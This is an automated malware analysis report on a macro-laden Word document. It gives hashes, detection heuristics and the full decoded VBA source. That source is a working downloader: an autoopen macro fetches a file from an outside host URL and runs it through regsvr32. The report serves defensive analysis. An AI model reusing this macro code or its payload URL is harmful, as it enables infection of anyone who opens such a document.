Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f16432e6a2680259…

MALICIOUS

Office (OOXML)

113.9 KB Created: 2020-07-07 09:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 6f768e41513d55db49d7453b5ffa836d SHA-1: 6b585309500cf3ba34d8fbe17238faafebc064f6 SHA-256: f16432e6a2680259bc0abf8ea9e6da37b7d887659967b19fa4126c4e8e16635a
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Office document containing VBA macros. The 'autoopen' macro executes the URLDownloadToFile function to download a file named 'kE.tmp' from 'http://d7uap.com/iz5/yaca.php?l=tze3.cab'. This indicates the document is a downloader designed to fetch and execute a second-stage payload, likely leading to further compromise.

Heuristics 7

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Unsteady disastrously elfin incidence cube
    Call URLDownloadToFile(0, "http://d7uap.com/iz5/yaca.php?l=tze3.cab", JK, 0, 0)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    ' Showers shows desirable
    fX.run "regsvr32 " & JK
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const JK As String = "kE.tmp"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d7uap.com/iz5/yaca.php?l=tze3.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2543 bytes
SHA-256: 9b674765ab755dba4330ea20f85fba56140ce8a738b71c5388ae95a38b7e5308
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IQ"
Public Const JK As String = "kE.tmp"
Sub autoopen()

' Unless program strings
' Chip greens respondent collected
' Reveals silent sustainability croak formats whole

' Flight definitions approve exalt
' Bedroom entering conflict
' Unsteady disastrously elfin incidence cube
Call URLDownloadToFile(0, "http://d7uap.com/iz5/yaca.php?l=tze3.cab", JK, 0, 0)

' Provincial translation batch benz
' Plans gnu magpie contrary
' Crude consecutive appealingly
' Catch geology basal cheque
' Perceptive poland dame ascendancy blowjob
O
End Sub

Attribute VB_Name = "IQ1"
Sub O()

' Attitudes oak uplifting
' Glasgow talent nubia molecule
' Presentation them epithet

' Brown boarder flexible
' Somerset rest lit network shutter screen
' Sympathy north-eastern seaweed episodes accepted
' Midsummer muscle pointers

' Cravat retracted
' Atmospheric accrue kerry expanding
' Serenade ope epidemic lid supply designer
' Slavish unauthorized harry domesticated teeth

' Dope correctness closely
' Meter
' Reparation glimmering groove cars
' Fella undergraduate clover cavil

' Public carefully
' Album mongrel benignant nuclear

' Preternatural ben courtesy blades
' Floral settled makeup
' Dishes fag registry videos
' Eminem organization fishing

' Thing qualification
' Manslaughter stick lioness despite sort
' Generic
' Labels casino
' Brownish src erratic antonio

' Hermitage shadow camcorder wilson
' Hardly enacting provender annex kits
' Crash came oyster appointment
' Quasi shirts guestbook onyx
' Coverage cottage catalogs prescribed
' Hungarian overshadow
Dim fX As New WshShell

' Previews
' Ruthless consists
' Barometer condescend dealer paste
' Showers shows desirable
fX.run "regsvr32 " & JK
End Sub

Attribute VB_Name = "hj"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal jj As LongPtr, ByVal qk As String, ByVal rD As String, ByVal oz As LongPtr, ByVal UJ As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal jj As Long, ByVal qk As String, ByVal rD As String, ByVal oz As Long, ByVal UJ As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 4afe39cf48af6f98a0e74585cfce9dac7f2f153a82fc0c88283e16ba17fc14d2